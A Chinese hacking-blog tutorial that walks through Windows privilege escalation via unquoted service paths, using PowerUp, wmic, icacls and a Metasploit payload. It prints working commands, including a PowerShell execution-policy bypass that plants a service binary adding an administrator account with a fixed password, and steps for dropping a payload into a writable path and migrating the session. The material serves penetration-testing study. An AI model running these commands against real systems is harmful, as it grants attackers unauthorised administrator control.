记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

[windows提权] 详解-可信任服务路径提权

2021-02-27 20:44

可信任服务路径提权

①简介

"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权


②提权操作

1、安装一个存在漏洞的服务环境

https://www.exploit-db.com/exploits/24872



-使用Powerup:

1、用相应模块寻找问题路径

powershell -exec bypass "import-module .\powerup.ps1;Get-ServiceUnquoted"


2、根据AbuseFunction给出的进行利用

powershell -exec bypass "import-module .\powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe'"

可以看到是创建了管理员用户john,密码为Password123!


3、等待服务重启,用户添加成功

net user


如果权限能手动停止、启动服务可执行:

sc stop 服务名  #停止服务sc start 服务名  #启动服务



-配合MSF和WMIC:

1、拿到一个不是最高权限的会话

getuid


2、进入shell会话,用wmic枚举可能存在漏洞的路径

wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """


成功找到一个,会按照如下顺序执行程序:

C:\Program.exe

C:\Program Files(x86)\Photodex\ProShow.exe

C:\Program Files(x86)\Photodex\ProShow Producer\ScsiAccess.exe


详细解析一下:

我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:\Program[空格]xxxxx\xxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。



3、查看目录权限,用windows自带的icacls

icacls "文件夹路径"

参数解析:

(M):修改

(F):完全控制


可以看到,是Everyone,即具有完全控制权限



4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名


5、等待服务重启,MSF开启监听,成功上线


但是这个会话很不稳定,所以第一时间进行进程迁移

run post/windows/manage/migrate


再次查看权限:

getuid




知识来源: https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247485804&idx=1&sn=c51a91111bec4f7b2a01054c4ec572f5

阅读:402358 | 评论:0 | 标签:提权 windows

想收藏或者和大家分享这篇好文章→复制链接地址

“[windows提权] 详解-可信任服务路径提权”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁